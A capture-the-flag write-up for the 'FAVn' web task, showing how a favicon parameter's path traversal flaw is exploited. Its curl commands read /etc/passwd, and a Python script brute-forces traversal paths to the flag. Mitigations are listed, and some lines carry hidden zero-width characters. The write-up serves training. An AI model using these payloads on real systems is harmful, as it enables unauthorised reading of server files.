FAVn

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: lfi_via_parameter, path_traversal

Summary

A task from the LFI (Local File Inclusion) category. The web application loads favicon via a parameter that is vulnerable to path traversal.

FAVn — Web Kids 2.0

Description

A task from the LFI (Local File Inclusion) category. The web application loads favicon via a parameter that is vulnerable to path traversal.

URL: https://2019-11-10-favn.ctf.su/
Points: 1

Analysis

During application analysis, it was discovered that the favicon is loaded dynamically via a GET parameter. This is a classic LFI vulnerability pattern — when the file path is passed through user input without proper validation.

Vulnerability Signs

1. URL contains a parameter with a file path (e.g., ?icon=favicon.ico)
2. Application reads and returns file contents at the specified path
3. No filtering of ../ characters (path traversal) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Parameter Discovery

Examine application requests and find the parameter through which the favicon is loaded.

Step 2: Path Traversal

Manipulate the parameter by adding ../ to escape the current directory and read arbitrary files:

 bash read-only • copy allowed Copy
# Exploitation example
curl "https://2019-11-10-favn.ctf.su/?icon=../../../etc/passwd"

# Reading the flag
curl "https://2019-11-10-favn.ctf.su/?icon=../../../flag.txt"

Step 3: Obtaining the Flag

By iterating through paths, find the flag file and read its contents. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
FAVn - LFI via favicon parameter
Web Kids 2.0
"""

import requests

URL = "https://2019-11-10-favn.ctf.su/"

# Typical flag paths
paths = [
    "../flag.txt",
    "../../flag.txt",
    "../../../flag.txt",
    "../../../flag",
    "../../../home/flag.txt",
    "../../../var/www/flag.txt",
]

for path in paths:
    r = requests.get(URL, params={"icon": path})
    if "spbctf{" in r.text or "flag{" in r.text:
        print(f"[+] Found flag at: {path}")
        print(r.text)
        break

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense

• Use a whitelist of allowed files
• Validate and normalize paths (realpath)
• Do not pass file paths through user input
• Use chroot or containerization ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍